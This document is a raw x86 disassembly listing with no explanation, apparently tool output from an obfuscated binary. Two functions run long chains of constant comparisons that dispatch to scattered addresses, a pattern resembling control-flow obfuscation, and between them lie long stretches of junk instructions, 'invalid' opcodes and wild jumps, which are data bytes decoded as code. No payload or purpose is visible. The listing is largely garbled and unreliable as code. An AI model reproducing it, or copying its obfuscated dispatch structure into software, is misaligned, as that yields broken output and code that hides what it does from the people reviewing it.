ljmp 0x3c:0xf2666c30
nop
jmp 0x684ac0b7
nop
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
lea eax, [ebp - 0xe50]
mov dword [esp], eax
call fcn.68201064
mov dword [ebp - 0x118], 0x9f065
mov dword [ebp - 0x114], 0
mov dword [ebp - 0x120], 0x50584
mov dword [ebp - 0x11c], 0
mov ecx, dword [ebp - 0x118]
mov ebx, dword [ebp - 0x114]
mov eax, dword [ebp - 0x120]
mov edx, dword [ebp - 0x11c]
add eax, ecx
adc edx, ebx
mov dword [ebp - 0x128], eax
mov dword [ebp - 0x124], edx
mov eax, dword [ebp - 0x128]
xor eax, 0xef5e9
or eax, dword [ebp - 0x124]
je 0x684bb44e
mov edx, 0xef5e9
mov eax, 0
cmp edx, dword [ebp - 0x128]
sbb eax, dword [ebp - 0x124]
jl 0x684bb451
mov eax, dword [ebp - 0x128]
xor eax, 0xcfec6
or eax, dword [ebp - 0x124]
je 0x684b2d71
mov edx, 0xcfec6
mov eax, 0
cmp edx, dword [ebp - 0x128]
sbb eax, dword [ebp - 0x124]
jl 0x684bb451
mov eax, dword [ebp - 0x128]
xor eax, 0xcea2e
or eax, dword [ebp - 0x124]
je 0x684b9f91
mov edx, 0xcea2e
mov eax, 0
cmp edx, dword [ebp - 0x128]
sbb eax, dword [ebp - 0x124]
jl 0x684bb451
mov eax, dword [ebp - 0x128]
xor eax, 0xaf8d8
or eax, dword [ebp - 0x124]
je 0x684ad011
mov edx, 0xaf8d8
mov eax, 0
cmp edx, dword [ebp - 0x128]
sbb eax, dword [ebp - 0x124]
jl 0x684bb451
mov eax, dword [ebp - 0x128]
xor eax, 0xaf566
or eax, dword [ebp - 0x124]
je 0x684ac5b1
mov edx, 0xaf566
mov eax, 0
cmp edx, dword [ebp - 0x128]
sbb eax, dword [ebp - 0x124]
jl 0x684bb451
mov eax, dword [ebp - 0x128]
xor eax, 0xa64e3
or eax, dword [ebp - 0x124]
je 0x684b56f1
mov edx, 0xa64e3
mov eax, 0
cmp edx, dword [ebp - 0x128]
sbb eax, dword [ebp - 0x124]
jl 0x684bb451
mov eax, dword [ebp - 0x128]
xor eax, 0x99db2
or eax, dword [ebp - 0x124]
je 0x684aef31
mov edx, 0x99db2
mov eax, 0
cmp edx, dword [ebp - 0x128]
sbb eax, dword [ebp - 0x124]
jl 0x684bb451
mov eax, dword [ebp - 0x128]
xor eax, 0x7fbdf
or eax, dword [ebp - 0x124]
je 0x684b8ad1
mov edx, 0x7fbdf
mov eax, 0
cmp edx, dword [ebp - 0x128]
sbb eax, dword [ebp - 0x124]
jl 0x684bb451
mov eax, dword [ebp - 0x128]
xor eax, 0x75380
or eax, dword [ebp - 0x124]
je 0x684b37d1
mov edx, 0x75380
mov eax, 0
cmp edx, dword [ebp - 0x128]
sbb eax, dword [ebp - 0x124]
jl 0x684bb451
mov eax, dword [ebp - 0x128]
xor eax, 0x63713
or eax, dword [ebp - 0x124]
je 0x684b0e51
mov edx, 0x63713
mov eax, 0
cmp edx, dword [ebp - 0x128]
sbb eax, dword [ebp - 0x124]
jl 0x684bb451
mov eax, dword [ebp - 0x128]
xor eax, 0x521b9
or eax, dword [ebp - 0x124]
je 0x684b4c91
mov edx, 0x521b9
mov eax, 0
cmp edx, dword [ebp - 0x128]
sbb eax, dword [ebp - 0x124]
jl 0x684bb451
mov eax, dword [ebp - 0x128]
xor eax, 0x4c3f2
or eax, dword [ebp - 0x124]
je 0x684af991
mov edx, 0x4c3f2
mov eax, 0
cmp edx, dword [ebp - 0x128]
sbb eax, dword [ebp - 0x124]
jl 0x684bb451
mov eax, dword [ebp - 0x128]
xor eax, 0x32515
or eax, dword [ebp - 0x124]
je 0x684b7611
mov edx, 0x32515
mov eax, 0
cmp edx, dword [ebp - 0x128]
sbb eax, dword [ebp - 0x124]
jl 0x684bb451
mov eax, dword [ebp - 0x128]
xor eax, 0x2a282
or eax, dword [ebp - 0x124]
je 0x684b4231
mov edx, 0x2a282
mov eax, 0
cmp edx, dword [ebp - 0x128]
sbb eax, dword [ebp - 0x124]
jl 0x684bb451
mov eax, dword [ebp - 0x128]
xor eax, 0x2a1ef
or eax, dword [ebp - 0x124]
je 0x684b6bb1
mov edx, 0x2a1ef
mov eax, 0
cmp edx, dword [ebp - 0x128]
sbb eax, dword [ebp - 0x124]
jl 0x684bb451
mov eax, dword [ebp - 0x128]
xor eax, 0x28fcd
or eax, dword [ebp - 0x124]
je 0x684b8071
mov edx, 0x28fcd
mov eax, 0
cmp edx, dword [ebp - 0x128]
sbb eax, dword [ebp - 0x124]
jl 0x684bb451
mov eax, dword [ebp - 0x128]
xor eax, 0x2584d
or eax, dword [ebp - 0x124]
je 0x684b2311
mov edx, 0x2584d
mov eax, 0
cmp edx, dword [ebp - 0x128]
sbb eax, dword [ebp - 0x124]
jl 0x684bb451
mov eax, dword [ebp - 0x128]
xor eax, 0x186d7
or eax, dword [ebp - 0x124]
je 0x684ada71
mov edx, 0x186d7
mov eax, 0
cmp edx, dword [ebp - 0x128]
sbb eax, dword [ebp - 0x124]
jl 0x684bb451
mov eax, dword [ebp - 0x128]
xor eax, 0x12efe
or eax, dword [ebp - 0x124]
je 0x684b9531
mov edx, 0x12efe
mov eax, 0
cmp edx, dword [ebp - 0x128]
sbb eax, dword [ebp - 0x124]
jl 0x684bb451
mov eax, dword [ebp - 0x128]
xor eax, 0xf5a5
or eax, dword [ebp - 0x124]
je 0x684b6151
mov edx, 0xf5a5
mov eax, 0
cmp edx, dword [ebp - 0x128]
sbb eax, dword [ebp - 0x124]
jl 0x684bb451
mov eax, dword [ebp - 0x128]
xor eax, 0xbe55
or eax, dword [ebp - 0x124]
je 0x684b03f1
mov edx, 0xbe55
mov eax, 0
cmp edx, dword [ebp - 0x128]
sbb eax, dword [ebp - 0x124]
jl 0x684bb451
mov eax, dword [ebp - 0x128]
xor eax, 0xb0aa
or eax, dword [ebp - 0x124]
je 0x684ae4d1
mov edx, 0xb0aa
mov eax, 0
cmp edx, dword [ebp - 0x128]
sbb eax, dword [ebp - 0x124]
jl 0x684bb451
mov eax, dword [ebp - 0x128]
xor eax, 0x2d98
or eax, dword [ebp - 0x124]
je 0x684b18b1
mov eax, dword [ebp - 0x128]
xor eax, 0xab90
or eax, dword [ebp - 0x124]
je 0x684ba9f1
jmp 0x684bb451
inc ebx
cmp dword [edi - 0x55176482], ebp
lcall 0xbd0f, 0x25f14c61
aaa
out 0xd6, eax
pushal
dec eax
sbb eax, 0x7b31e6c6
cld
sub ebp, dword [esi + 0x67]
xor al, 0x72
push edi
jge 0x684ac5f1
xchg ebx, eax
arpl word [ebx], cx
mov ah, cl
arpl word [edi + 0x47], ax
add eax, dword [edx]
inc esi
jge 0x684ac5db
xor esi, dword [ebx]
lodsd eax, dword [esi]
dec ebx
aas
and dl, byte [edi - 0x159e211d]
mov eax, 0x3c46d380
wait
iretd
xor eax, 0xe4529f6a
mov al, byte [0xe8fae0da]
sar byte [esi + edi - 0x4f2216ea], 1
cmp dword [ebp - 0x4ad783b2], ebx
aad 0x1d
cmc
cmp eax, 0xa585141f
pop esi
int 0x90
int3
cmp cl, al
xchg esp, eax
push 0xffffffffffffffcc
jnp 0x684ad075
jp 0x684ad05f
loopne 0x684acfe9
mov cl, 0xb9
inc ecx
xor ebx, ebx
pop es
mov eax, dword [0xc8a42046]
and eax, 0x64511bd
salc
mov byte [0xb7cf37a4], al
jg 0x684ad063
ret
je 0x684acfe9
or al, 0
cmp cl, byte [ecx]
cwde
outsd dx, dword [esi]
insb byte es:[edi], dx
push ebp
wait
and byte [edi], bh
and dword [ebx - 5], ebx
sub eax, 0xf679a193
insd dword es:[edi], dx
push edi
shrd ebp, esp, 0xb6
or dl, byte [edi]
mov eax, 0x9e847063
test al, 0xe4
jp 0x684ad066
test byte ss:[ebp + 0x3e1f95c1], dl
scasb al, byte es:[edi]
and eax, 0x81a5c869
xor al, 0x9f
add dword [eax - 0x72], edx
rdtsc
mov bl, 0x62
ficomp dword [edi + 0x7a]
jbe 0x684ad085
aas
out 0x58, al
not byte [eax + edi]
cmp bh, byte [ebx + 0x4ddefd07]
invalid
adc al, 0x1f
cld
pop esi
sub eax, 0x48db407
jb 0x684adafa
mov ebx, dword [esi]
in eax, 0xd5
xchg dword [ecx], esp
cmp dh, byte [esi]
shl edi, 1
enter 0x43b9, 0x73
adc ecx, ebx
add byte [ebp + 0x33ccdc80], 0xb2
xchg esi, eax
push ds
xchg esp, eax
xchg esi, eax
jl 0x684adadf
dec ebx
rcr byte [ebp - 0x37], cl
in al, 0x67
fldenv [esi]
push ebp
push edi
pop edx
retf
out dx, eax
mov esp, 0xe99eb41d
adc dh, byte [eax + 0x47f42dc4]
jecxz 0x684adb41
lodsb al, byte [esi]
xchg ebp, eax
ljmp 0x9b03
inc ecx
mov edi, 0xa3cbdc9c
fimul dword [ebx]
cmc
wait
pushfd
fmul st(3), st(0)
mov dword [0x9bf50bda], eax
sahf
mov bl, 0xcf
out 0x95, al
cmp ecx, dword [edx]
test dword [esi - 0xc], edx
dec ebp
inc esi
cmc
jmp 0xaeb77fed
scasb al, byte es:[edi]
xlatb
in eax, 0x5b
pop ebx
cmpsb byte [esi], byte es:[edi]
or dword [eax + 0x5c50ec19], 0x116e45fe
adc ch, ah
and dword [edx - 3], 0x3765f0ea
pop edi
jb 0x684adafc
loop 0x684adafc
jno 0x684adb3c
xchg esi, eax
pop eax
nop
int3
invalid
cmp byte [0x631ac3cf], dh
je 0x684ae4ba
cmp dword [eax - 0x60bfcd18], edx
loope 0x684ae438
call 0x49ea2496
shl esp, cl
sub ah, ch
enter 0x2f48, 0x7d
imul ebp, dword [esi - 0x4af82275], 0xb88d708d
in al, 0x2a
in eax, 0xc8
dec eax
das
jge 0x684ae45f
imul ebp, dword [esi - 0x4af82275], 0xb88d708d
invalid
sub edi, dword [edi - 0x6c205463]
xor ax, 0x51e7
out 0x51, eax
invalid
jl 0x684ae455
push 0x3b
cmpsb byte [esi], byte es:[edi]
jne 0x684ae4c2
pop edi
wait
invalid
or dword [0x2f841a9d], edi
push ebx
adc byte [ebp + 0x601fe733], bh
std
mov dword [esi + 0x1602faf5], esi
fst dword [ebx + 0x65]
shl byte [ebp - 0x64], cl
invalid
lds ebx, [esi - 0x54]
lodsb al, byte [esi]
invalid
jmp 0x684b03fd
mov dl, 0x8c
wait
push ebp
fdivrp st(7)
pop ebx
add eax, 0x4d0596c8
mov byte [0xbe228214], al
mov ebx, 0xf80bb969
and byte [edx - 0x42], dl
xor al, 0x36
retf 0xae39
xlatb
sbb al, 0x6a
cmovns ebp, eax
fldenv [edi]
insd dword es:[edi], dx
add byte [esi + 0x49], cl
stosd dword es:[edi], eax
clc
add ebx, dword es:[ebx - 0x4bf12454]
xchg edi, eax
out dx, eax
jle 0x684b0e27
pop esi
xchg byte [ebx + 0x3a20af78], cl
pop ds
shl bl, 0x90
int3
loope 0x684b0e35
push 0xb01ad5b4
aad 0x4a
dec edx
ja 0x684b0e59
mov al, byte [0xb2315356]
cmp eax, 0x40e2e070
outsb dx, byte [esi]
sub ah, byte [ebx + esi*8]
popfd
test al, 0x68
sbb eax, 0x2eb129f4
aad 0x51
invalid
mov eax, dword [esi]
iretd
out 0x7f, al
add dl, byte [edx + 0x55]
jl 0x684b191a
pop edi
fmul qword [ebx - 0x48a028f2]
dec byte [edx + 0x26706157]
xor edi, dword [edx - 0x19]
in al, dx
idiv dword [esi - 0x5d11f20b]
rcl dword [ecx - 0x53], 0xa3
sub al, al
shl dword [eax - 0x47], cl
mov bh, 0x5a
cwde
lahf
adc cl, byte [esi]
test byte [ecx], 0xb2
inc ecx
dec edi
loope 0x684b187e
invalid
invalid
retf
sti
loope 0x684b2d77
test al, 0x58
push eax
push cs
adc dword [ebx - 0x3b2420c5], edx
inc ebx
out dx, eax
xor byte [edi], cl
jnp 0x684b2da2
add ecx, dword [esi + 0x39c30613]
invalid
fstp xword [esi]
adc ch, 0xf
xor dword [ebx], edi
sub dword [esp + edx*4 + 0x7af3aeb3], esi
popfd
sbb byte [ebx - 0x20b59c3a], dl
adc byte fs:[edi - 0x1a9d0105], cl
inc ebp
invalid
push ebp
cmp al, 0xc7
fdivrp st(1)
sbb edi, dword [eax + ecx*8]
lahf
pop ecx
push ebp
push ebx
pop ecx
dec ebp
mov edx, 0x4812078f
add byte [ecx - 0x5333775c], dh
hlt
insd dword es:[edi], dx
in eax, dx
into
imul dword [edi - 0x59107a31]
cmp edx, dword [ebx - 0x20]
dec esp
mov bh, 2
dec esi
jp 0x684b374f
fcom dword [ecx + 0x32801216]
invalid
test byte [ecx + 0xadd97c6], dh
dec esi
xchg edx, eax
xchg dword [esp - 0x3bdd482], esp
cmpsd dword [esi], dword es:[edi]
in eax, 0x5b
js 0x684b37b0
inc esp
int3
adc byte [eax], bh
or eax, 0x20c97d98
jmp 0xf0072543
nop
or ch, byte [edx]
sahf
push ebx
jns 0x684b41f8
sub eax, 0x497a6d7c
inc eax
sti
mov cl, 0x57
rol byte [ebx - 0x4a94a781], 1
stosb byte es:[edi], al
push edx
pushfd
sbb eax, 0x17646aa8
iretd
invalid
loope 0x684b568f
invalid
mov ah, 0xb5
iretd
mov eax, dword [0x76062f8e]
pop edx
fcomi st(0)
fld xword [ebp + 0x57]
stosb byte es:[edi], al
std
jnp 0x684b570d
popal
jmp 0x684b5685
arpl word [ebx - 0x7a], sp
cmp ah, byte [ecx - 0x44]
xchg dword [ecx - 0x35844692], ebx
inc ebx
dec ebp
inc eax
daa
or dword [ebp + edx*2 - 0x524358f1], 0xffffffc7
xor eax, 0xa91d2424
bound ebx, qword [eax + eax + 0x2a8ebed4]
salc
ljmp 0xc7d6
movsb byte es:[edi], byte [esi]
mov esi, 0xa57f4ae0
and ebp, dword [ebp + 0x17]
sbb al, 0xd3
dec edi
invalid
add al, bl
invalid
mov eax, dword [0xf4a99769]
xor al, 0xfa
test al, 0xac
loop 0x684b6bd2
jb 0x684b6b37
int3
lcall 0x3727, 0x4ce766da
cmp esi, 0x3d
jb 0x684b6b72
rcl dword [ebp + 0x5ffaecfa]
sar dword [edi], 1
fsubr dword [eax - 0x22]
pminub mm7, mm5
push ss
pop ss
test dword [eax + 0x67], 0x1ee9d0df
pushfd
neg byte [eax - 0x3a]
js 0x684b6b7b
jmp 0xc14207f5
sbb eax, 0x8b0744e3
add eax, 0x8259516b
xor dword [bx + si], eax
invalid
fcom dword [edx - 0x2a]
adc byte [ebx + 0x5ed2c1c6], 0x99
jmp 0x66b1fc2a
mov dword [ebx + 0x1d], 0x36ca8b7e
mov edi, 0xc2a2a1d5
invalid
mov cl, 0xd1
stosb byte es:[edi], al
xchg edx, eax
out 0xae, al
mov al, 0x4f
pop eax
mov cl, 0xbc
nop
imul edx, dword [edx - 0x46], 0xe
jmp 0x684b8b0c
arpl word [ebx - 0x6eb922c4], dx
jbe 0x684b8b20
sub eax, 0x4bf4b10e
mov esi, 0x7b007855
movsb byte es:[edi], byte [esi]
ficomp dword [ebx]
pop ecx
sahf
push edi
test dword [edx + 0x22], esp
mov al, byte [ebp - 0x610d7d41]
lodsb al, byte [esi]
jo 0x684b8a98
ret
pop ebx
setl byte [ebp - 0xa]
sti
jecxz 0x684b8b6d
mov esp, 0x67057567
pop ebp
push ebp
cmp eax, 0x304afc00
mov al, byte [0x42da0da5]
pop edx
adc dword [ebp + ebx*8 + 0x2f], 0xaa5625d0
invalid
in eax, dx
push ss
push ebp
insb byte es:[edi], dx
mov ds, eax
pushfd
push eax
push ebx
pop eax
test eax, 0x8bbe0954
into
in eax, 0xbf
add dword [esi], edx
sbb dword [ebx], 0xffffffe8
pop eax
pop ecx
cmp byte [ebx], ch
aad 0x97
and al, byte [edi + ebp*2 - 0x146ff4b1]
aas
inc ecx
push ecx
mov dword [0x6c3b9163], eax
test al, bh
dec ebp
jecxz 0x684b8bc8
lodsb al, byte [esi]
pop ecx
mov ss, eax
or dh, byte [esi + 0x23]
push edi
add dword [ecx - 0x30c4b1ae], 0x92080219
push esi
xchg edi, eax
insd dword es:[edi], dx
adc ch, ch
movsb byte es:[edi], byte [esi]
and dword [esi + 0x737d3ad3], 0x52c97705
loope 0x684b8ba5
mov ch, 0xc9
cdq
or ebp, eax
inc esp
adc eax, 0x4703fd3c
jecxz 0x684b8b37
in al, dx
jge 0x684b8bc1
mov ah, dh
out dx, al
sar dword [esp + edi], 1
pop ecx
xor edi, dword [edx + 0x2e]
xchg dword [edi - 0x5a], ebp
jl 0x684b8c09
xchg dword cs:[edi - 0x5a], ebp
mov dh, 0x9c
mov edx, 0x4a68569a
dec ebp
pop esi
sub byte [ebp + 0x71], dl
int3
int3
sti
fbld tbyte [eax - 0x1e6684c5]
loope 0x684b8c48
sbb eax, 0x9154ddca
invalid
pop ss
xchg byte [ebp + 0x66187ce9], ah
stosd dword es:[edi], eax
cmc
rcl dword [ebx]
xchg esi, eax
and dl, ch
xor byte [eax - 0x78], cl
add eax, 0xa0e865c1
push 0x4f
xor bh, byte [edx - 0x14]
xchg ecx, eax
or al, 0xb7
lds ebx, [ebp + 0x4d152231]
inc ebx
loopne 0x684b8c90
cmp dword [edi + 0x7d], ebp
pop ebx
test al, 0x28
fst dword [esi - 0x553c9a7e]
cmp al, 0x6a
or al, 0x1d
sub al, 0xfb
push ebx
push edi
dec esp
invalid
les ecx, [ebp - 0x203f0d16]
xchg byte [edi + 0x7cb3c04f], dl
push ebx
xchg esp, eax
invalid
rcr bh, 0x86
rcr bh, 0x86
xchg edi, eax
dec edi
sal byte [ebx - 0x206bac84], 0xfe
jl 0x684b8cab
sub al, 0xa3
cmp esi, ecx
add edi, dword [ebp - 0x2c7ef72e]
scasb al, byte es:[edi]
shr byte [edx + 0xa], 4
nop
pushfd
loop 0x684b8c4c
test dword [eax], eax
mov edi, 0x9093c08e
push esp
pop ds
xchg byte [eax - 0x2dfe5d0f], cl
cmp al, 0x78
fsubr dword [edx - 0x4e]
xlatb
xchg esi, eax
adc eax, ebx
test dword [ecx + 0x27], esi
adc eax, 0x29f63f6c
cmp byte [eax], bl
mov edx, 0xd064568c
sbb byte [edx - 0x2f9ba974], bh
cli
popal
loop 0x684b8c4b
xchg ebx, eax
cmp al, 0x30
mov edx, 0x94e702c6
push ds
xor bl, bl
out 0xc8, eax
ror byte [ecx - 0x1a], 0x36
int3
sar byte [ebx + 0x57290eda], 0x8f
cmpsb byte [esi], byte es:[edi]
and edi, dword [esi]
cmpsb byte [esi], byte es:[edi]
inc ebx
loop 0x684b95a6
xor eax, 0x38e849b0
in al, dx
pop edx
outsb dx, byte [esi]
push ss
loopne 0x684b955a
ljmp 0x2d9b:0x88f2c044
sbb dword [edi + 0x49], eax
mov ebx, 0x6624df98
inc eax
mov esp, 0x65da6442
test ecx, ebx
invalid
dec ecx
sub al, 0xed
cmp dh, dh
push esi
dec edx
popal
hlt
mov edx, 0xa876d518
cli
sar dh, 0x19
inc ah
jmp 0xaf84926
stosb byte es:[edi], al
lodsd eax, dword [esi]
pop edi
nop
int3
jmp 0x684bb452
wait
sub ah, cl
jb 0x684b9f87
das
pop eax
or dl, ah
jae 0x684b9f8c
jns 0x684b9f34
dec ebx
invalid
cmpsb byte [esi], byte es:[edi]
pop ebp
ret 0xacd7
nop
jmp 0x684bb452
nop
mov dword [esp + 4], 0x68b0500c
lea eax, [ebp - 0xe50]
mov dword [esp], eax
call fcn.68201064
mov dword [ebp - 0x130], 0xd031d
mov dword [ebp - 0x12c], 0
mov dword [ebp - 0x138], 0x22494
mov dword [ebp - 0x134], 0
mov eax, dword [ebp - 0x130]
mov edx, dword [ebp - 0x12c]
sub eax, dword [ebp - 0x138]
sbb edx, dword [ebp - 0x134]
mov dword [ebp - 0x140], eax
mov dword [ebp - 0x13c], edx
mov eax, dword [ebp - 0x140]
xor eax, 0xdaca0
or eax, dword [ebp - 0x13c]
je 0x684c3f90
mov edx, 0xdaca0
mov eax, 0
cmp edx, dword [ebp - 0x140]
sbb eax, dword [ebp - 0x13c]
jl 0x684c882d
mov eax, dword [ebp - 0x140]
xor eax, 0xd1bcd
or eax, dword [ebp - 0x13c]
je 0x684c0150
mov edx, 0xd1bcd
mov eax, 0
cmp edx, dword [ebp - 0x140]
sbb eax, dword [ebp - 0x13c]
jl 0x684c882d
mov eax, dword [ebp - 0x140]
xor eax, 0xcbc32
or eax, dword [ebp - 0x13c]
je 0x684c5450
mov edx, 0xcbc32
mov eax, 0
cmp edx, dword [ebp - 0x140]
sbb eax, dword [ebp - 0x13c]
jl 0x684c882d
mov eax, dword [ebp - 0x140]
xor eax, 0xb59e3
or eax, dword [ebp - 0x13c]
je 0x684c5eb0
mov edx, 0xb59e3
mov eax, 0
cmp edx, dword [ebp - 0x140]
sbb eax, dword [ebp - 0x13c]
jl 0x684c882d
mov eax, dword [ebp - 0x140]
xor eax, 0xade89
or eax, dword [ebp - 0x13c]
je 0x684c8830
mov edx, 0xade89
mov eax, 0
cmp edx, dword [ebp - 0x140]
sbb eax, dword [ebp - 0x13c]
jl 0x684c882d
mov eax, dword [ebp - 0x140]
xor eax, 0xa86ff
or eax, dword [ebp - 0x13c]
je 0x684c7370
mov edx, 0xa86ff
mov eax, 0
cmp edx, dword [ebp - 0x140]
sbb eax, dword [ebp - 0x13c]
jl 0x684c882d
mov eax, dword [ebp - 0x140]
xor eax, 0xa674c
or eax, dword [ebp - 0x13c]
je 0x684bb8b0
mov edx, 0xa674c
mov eax, 0
cmp edx, dword [ebp - 0x140]
sbb eax, dword [ebp - 0x13c]
jl 0x684c882d
mov eax, dword [ebp - 0x140]
xor eax, 0xa3901
or eax, dword [ebp - 0x13c]
je 0x684c7dd0
mov edx, 0xa3901
mov eax, 0
cmp edx, dword [ebp - 0x140]
sbb eax, dword [ebp - 0x13c]
jl 0x684c882d
mov eax, dword [ebp - 0x140]
xor eax, 0x9c368
or eax, dword [ebp - 0x13c]
je 0x684c1610
mov edx, 0x9c368
mov eax, 0
cmp edx, dword [ebp - 0x140]
sbb eax, dword [ebp - 0x13c]
jl 0x684c882d
mov eax, dword [ebp - 0x140]
xor eax, 0x87c60
or eax, dword [ebp - 0x13c]
je 0x684c2ad0
mov edx, 0x87c60
mov eax, 0
cmp edx, dword [ebp - 0x140]
sbb eax, dword [ebp - 0x13c]
jl 0x684c882d
mov eax, dword [ebp - 0x140]
xor eax, 0x52486
or eax, dword [ebp - 0x13c]
je 0x684bd7d0
mov edx, 0x52486
mov eax, 0
cmp edx, dword [ebp - 0x140]
sbb eax, dword [ebp - 0x13c]
jl 0x684c882d
mov eax, dword [ebp - 0x140]
xor eax, 0x3e6e5
or eax, dword [ebp - 0x13c]
je 0x684bec90
mov edx, 0x3e6e5
mov eax, 0
cmp edx, dword [ebp - 0x140]
sbb eax, dword [ebp - 0x13c]
jl 0x684c882d
mov eax, dword [ebp - 0x140]
xor eax, 0x3dba4
or eax, dword [ebp - 0x13c]
je 0x684be230
mov edx, 0x3dba4
mov eax, 0
cmp edx, dword [ebp - 0x140]
sbb eax, dword [ebp - 0x13c]
jl 0x684c882d
mov eax, dword [ebp - 0x140]
xor eax, 0x25990
or eax, dword [ebp - 0x13c]
je 0x684c49f0
mov edx, 0x25990
mov eax, 0
cmp edx, dword [ebp - 0x140]
sbb eax, dword [ebp - 0x13c]
jl 0x684c882d
mov eax, dword [ebp - 0x140]
xor eax, 0x22c34
or eax, dword [ebp - 0x13c]
je 0x684bf6f0
mov edx, 0x22c34
mov eax, 0
cmp edx, dword [ebp - 0x140]
sbb eax, dword [ebp - 0x13c]
jl 0x684c882d
mov eax, dword [ebp - 0x140]
xor eax, 0x18f59
or eax, dword [ebp - 0x13c]
je 0x684c3530
mov edx, 0x18f59
mov eax, 0
cmp edx, dword [ebp - 0x140]
sbb eax, dword [ebp - 0x13c]
jl 0x684c882d
mov eax, dword [ebp - 0x140]
xor eax, 0x15d0b
or eax, dword [ebp - 0x13c]
je 0x684bc310
mov edx, 0x15d0b
mov eax, 0
cmp edx, dword [ebp - 0x140]
sbb eax, dword [ebp - 0x13c]
jl 0x684c882d
mov eax, dword [ebp - 0x140]
xor eax, 0x10205
or eax, dword [ebp - 0x13c]
je 0x684c2070
mov edx, 0x10205
mov eax, 0
cmp edx, dword [ebp - 0x140]
sbb eax, dword [ebp - 0x13c]
jl 0x684c882d
add byte [eax], al
add byte [ebx], bh
xchg ebp, eax
sar dh, 0xff
call [ebx]
test esp, eax
invalid
mov eax, dword [ebp - 0x140]
xor eax, 0xe22e
or eax, dword [ebp - 0x13c]
je 0x684c0bb0
mov edx, 0xe22e
mov eax, 0
cmp edx, dword [ebp - 0x140]
sbb eax, dword [ebp - 0x13c]
jl 0x684c882d
mov eax, dword [ebp - 0x140]
xor eax, 0x2c41
or eax, dword [ebp - 0x13c]
je 0x684bcd70
mov eax, dword [ebp - 0x140]
xor eax, 0x4498
or eax, dword [ebp - 0x13c]
je 0x684c6910
jmp 0x684c882d
sbb cl, byte [ebx + 0x21]
js 0x684bb835
call 0xa948131e
scasb al, byte es:[edi]
invalid
and eax, dword [ebp + 0x55]
dec eax
mov eax, 0xf67d386c
wait
stc
cmp dword [edx + 0x3b6d797c], edi
stc
mov cl, 0x7f
iretd
xor byte [edx], ch
invalid
mov ch, 0x2a
mov byte [0x3d1adee9], al
sbb al, ah
fabs
ret 0xf2f4
jne 0x684bc1f0
push cs
add byte [ebx - 0x18], dh
mov al, byte [0xf60a98c1]
arpl word [ebp + 0x54ca030d], si
in eax, dx
jne 0x684bc248
push esi
jecxz 0x684bc211
adc dword [ebx + 0x28], esp
pop edi
into
and eax, 0x33264976
jle 0x684bc306
outsb dx, byte [esi]
mov edx, 0xac59fe8
daa
cdq
test eax, 0x56f22e2c
add al, 0x70
stosb byte es:[edi], al
mov al, 0x91
sbb eax, 0x6ec28078
test byte [edx], cl
inc edx
out dx, al
xchg esi, eax
aad 0xc5
outsd dx, dword [esi]
inc edi
popfd
test al, 0x89
push ebp
xchg ebp, eax
fnstsw word [edx + 0x5eb65fc2]
push ebx
jns 0x684bc331
jae 0x684bc26c
lodsb al, byte [esi]
jnp 0x684bc317
loope 0x684bc24f
pop ds
stosb byte es:[edi], al
out 0xd9, al
je 0x684bc2ee
jp 0x684bc344
push edx
mov dword [0x9dc979de], eax
outsd dx, dword [si]
jle 0x684bc2e2
sbb byte [ebp + ecx*2 + 0x2c5294d7], 0x4f
xlatb
xchg esp, eax
push edx
sub al, 0x4f
sub ebp, dword [esi - 0xa8fed04]
jo 0x684bc2d9
sub esi, ecx
invalid
jl 0x684bc33f
int1
lea ebp, [edi - 0x53]
pop esi
test ah, dl
mov eax, dword [0x9ea71c10]
adc al, 0xc1
in al, 0x4b
push edi
jp 0x684bc2bf
xor dword [ebx + 0x5e832b59], ebx
nop
int3
sub eax, dword [ebx - 0x16336fa2]
and ebp, eax
add byte [eax], al
add byte [ebp + 0x75], ah
jne 0x684bc296
jne 0x684bc388
add byte [esi - 0x1f235a61], 0x91
xchg byte [edi - 0x6e1f235b], bl
fsubr st(0), st(0)
xchg ecx, eax
xor dword [edx], 0x1d
jo 0x684bc30f
mov byte [0x437923f], al
xchg esi, eax
pop ebx
cmpsd dword [esi], dword es:[edi]
xchg esp, eax
pushfd
jb 0x684bc383
adc byte [eax + ebx*4], ah
invalid
add cl, bl
xchg ebx, esi
pop esp
invalid
inc esi
mov cl, 0xc0
enter 0x5679, 0xffffffffffffffc7
add ebx, ebx
daa
salc
invalid
mov edx, ss
inc ebp
mov ebp, 0xe419705c
mov cl, 0xf5
jecxz 0x684bc38d
jbe 0x684bc3c2
cmp ebp, edx
mov bh, 0xc9
sbb dl, 0x97
xchg esi, eax
cmc
xchg ecx, eax
out 0x6e, al
movsd dword es:[edi], dword [esi]
stosd dword es:[edi], eax
cmp dword [edi + 0x68], 0x5fedede9
and al, 0x24
aaa
mov ebp, 0xe886485c
lds esp, [ebx + 0x69]
inc ebx
sar dword [esi - 0x10], 0xfa
sub eax, 0x6dc42529
mov dword [ecx - 0xd], eax
mov ecx, 0xc342c9c0
push ds
mov ah, 0xca
cmp ah, byte [ebp - 0x568357b9]
inc edx
ret
retf 0xa53a
jl 0x684bc338
invalid
hlt
invalid
adc eax, 0x98fd7822
test eax, 0xf293d9f0
inc bx
mov dword [0x528e67b6], esi
mov dword [edi + 0x54], eax
push esi
cwde
jl 0x684bcd44
inc ebp
invalid
test al, 0xa1
invalid
mov bh, 0xee
sub eax, dword [ecx - 3]
dec edx
into
xchg edx, eax
cmp al, 0x72
cmp al, 0x53
add bl, byte [ebx - 0x6f]
xor dword [ebp - 0x4aabbd86], esp
mov bl, 0x87
ret 0x516
salc
ror byte [edx - 0x61], cl
out dx, eax
cli
or al, 0x4b
inc eax
outsb dx, byte [esi]
mov ebx, 0xc2d6506e
cmc
jmp 0x684be20a
ror dword [eax + 0x41ca1701], 0xd9
mov esi, 0xe0dbe7ec
invalid
lahf
invalid
ret 0x7749
ret
cwde
add dword [ebx + 0x69], edx
or dword [ebx + 0x538d3ea5], ebp
nop
int3
loopne 0x684c0b46
ficomp dword [ecx]
inc edi
jmp 0x684c0bd8
dec ebx
in al, dx
out dx, eax
jecxz 0x684c0b9f
iretd
outsb dx, byte [esi]
rcr byte [ebx], cl
rcl ebp, 1
xchg esp, ecx
push esp
or ecx, dword [edi + 0x1e]
jg 0x684c0bf9
dec ecx
not byte [edx + 0x53e16248]
mov dl, 0xb0
mov edi, dword [eax - 0x50]
mov dword [0xefbb8334], ecx
cmpsb byte [esi], byte es:[edi]
pop esi
add edi, dword [eax + 0x61]
pop esi
xchg esp, eax
jo 0x684c0c08
wait
cmp bl, byte [0x5ca0e522]
jp 0x684c0bbc
jp 0x684c0bbc
xchg ebp, eax
retf
